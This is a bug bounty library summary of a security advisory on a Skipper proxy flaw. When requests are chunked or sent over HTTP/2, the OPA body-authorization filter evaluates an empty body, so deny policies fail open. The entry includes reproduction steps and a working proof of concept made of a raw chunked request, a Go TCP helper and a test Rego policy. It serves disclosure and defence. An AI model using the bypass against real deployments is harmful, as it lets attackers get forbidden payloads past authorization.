# Skipper: opaAuthorizeRequestWithBody filter bypasses OPA policy on Transfer-Encoding — chunked / HTTP/2 requests

Skipper's opaAuthorizeRequestWithBody reads an empty body when Content-Length is -1 (chunked/HTTP2), so OPA deny policies fail open while the full payload reaches upstream.

- Payout: Research
- Severity: high
- Program: Skipper
- Found by: tonghuaroot
- Disclosed: 2026-07-08
- CVE: CVE-2026-50197
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-659f-rgp5-w4wf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-659f-rgp5-w4wf
- Tags: area:web domain:api domain:web impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:request-smuggling

**Target:** Skipper proxy OPA authorization filter (opaAuthorizeRequestWithBody)
**Root cause:** ExtractHttpBodyOptionally passes req.ContentLength (-1 for chunked/HTTP2) into fillBuffer, whose loop condition `len(buf) < expectedSize` is immediately false for -1, yielding an empty raw_body while the wrapped reader still forwards the real body upstream.
**Steps:**
1. Configure skipper with `opaAuthorizeRequestWithBody` and a Rego policy denying when `input.parsed_body.admin == true`.
2. Send a control request with `Content-Length: 14` and body `{"admin":true}` — expect 403.
3. Send the same body chunked: `POST /priv HTTP/1.1` with `Transfer-Encoding: chunked` and body `e\r\n{"admin":true}\r\n0\r\n\r\n`.
4. Observe HTTP 200 and upstream receiving `{"admin":true}` because OPA evaluated an empty parsed_body.
**How found:** Code review of the body extractor: noticed the `req.ContentLength <= maxBodyBytes` gate passes for the -1 sentinel, then traced fillBuffer's `len(buf) < expectedSize` predicate to see it short-circuits on negative expected size, producing an empty buffer.
**Exploitation:** Attacker sends the forbidden payload with chunked framing (or HTTP/2 without content-length); OPA sees empty body, deny rule fails open, proxy forwards full payload to the protected upstream.
**Insight:** When a body extractor gates on ContentLength, check the -1 sentinel path (chunked/HTTP2): a `<=` comparison passes but any loop keyed on the negative value never executes, silently yielding empty input to the policy engine while the real body still streams downstream.

## Proof of concept (copied exactly from the original report)

**Chunked admin body bypasses OPA deny policy**

```
wire: "POST /priv HTTP/1.1\r\n" +
				"Host: " + host + "\r\n" +
				"Content-Type: application/json\r\n" +
				"Connection: close\r\n" +
				"Transfer-Encoding: chunked\r\n" +
				"\r\n" +
				"e\r\n" +
				`{"admin":true}` + "\r\n" +
				"0\r\n" +
				"\r\n",
			wantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200
			wantUpstrm: true,
```

**Raw TCP request helper driving wire framing**

```
func rawRequest(t *testing.T, addr, wire string) *http.Response {
	t.Helper()
	conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
	if err != nil {
		t.Fatalf("dial %s: %v", addr, err)
	}
	defer conn.Close()
	_ = conn.SetDeadline(time.Now().Add(10 * time.Second))

	if _, err := io.WriteString(conn, wire); err != nil {
		t.Fatalf("write wire: %v", err)
	}

	resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
	if err != nil {
		t.Fatalf("read response: %v", err)
	}
	// Drain so the body received by upstream is flushed before we inspect it.
	_, _ = io.Copy(io.Discard, resp.Body)
	_ = resp.Body.Close()
	return resp
}
```

**Rego deny policy keyed on parsed_body.admin**

```
"main.rego": `
				package envoy.authz

				import rego.v1

				default allow := true

				allow := false if {
					input.parsed_body.admin == true
				}
			`,
```

